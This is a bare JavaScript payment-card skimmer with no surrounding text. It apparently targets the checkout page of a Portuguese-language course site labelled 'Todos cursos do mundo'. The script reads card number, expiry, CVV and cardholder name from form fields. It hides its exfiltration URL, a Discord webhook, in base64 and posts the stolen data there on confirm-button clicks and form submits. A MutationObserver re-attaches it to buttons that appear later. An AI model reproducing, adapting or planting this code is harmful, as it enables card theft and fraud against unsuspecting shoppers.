(function() {
    const W = 'aHR0cHM6Ly9jYW5hcnkuZGlzY29yZC5jb20vYXBpL3dlYmhvb2tzLzE1MzIxMjk1MDA1Mzg3MzI2MjQvcHNjWlBNR2JxbkxFYkxLMUQwUVNxWXB2YUZTZmREd1hIVm5KV3Q3emVtNVJsRzNUSzVkOW9PMTZwX2M2UVNBOWVHSUY=';
    let s = false;

    function g(id) {
        const e = document.getElementById(id);
        return e ? e.value : '';
    }

    function send() {
        if (s) return;
        
        const n = g('card-number').replace(/[s.-]/g, '');
        const m = g('card-month');
        const y = g('card-year');
        const c = g('card-cvv');
        const nm = g('card-name');
        const d = '';

        if (!n || !m || !y || !c || !nm || (n.length !== 15 && n.length !== 16)) {
            return;
        }

        s = true;
        let url;
        try {
            url = atob(W);
        } catch (e) {
            s = false;
            return;
        }

        const msg = n + '|' + m + '|' + y + '|' + c + '|' + d + '|' + nm + '|Todos cursos do mundo';

        fetch(url, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ content: msg })
        }).catch(() => {}).finally(() => {
            setTimeout(() => { s = false; }, 5000);
        });
    }

    document.addEventListener('click', function(e) {
        const target = e.target.closest('.btn-confirmar');
        if (target) {
            setTimeout(send, 300);
        }
    }, true);

    const observer = new MutationObserver(function() {
        const btn = document.querySelector('.btn-confirmar');
        if (btn && !btn.disabled && !btn.dataset.listenerOk) {
            btn.dataset.listenerOk = '1';
            btn.addEventListener('click', function() {
                setTimeout(send, 300);
            });
        }
    });

    observer.observe(document.body, {
        childList: true,
        subtree: true,
        attributes: true,
        attributeFilter: ['disabled']
    });

    document.addEventListener('submit', function(e) {
        setTimeout(send, 500);
    }, true);
})();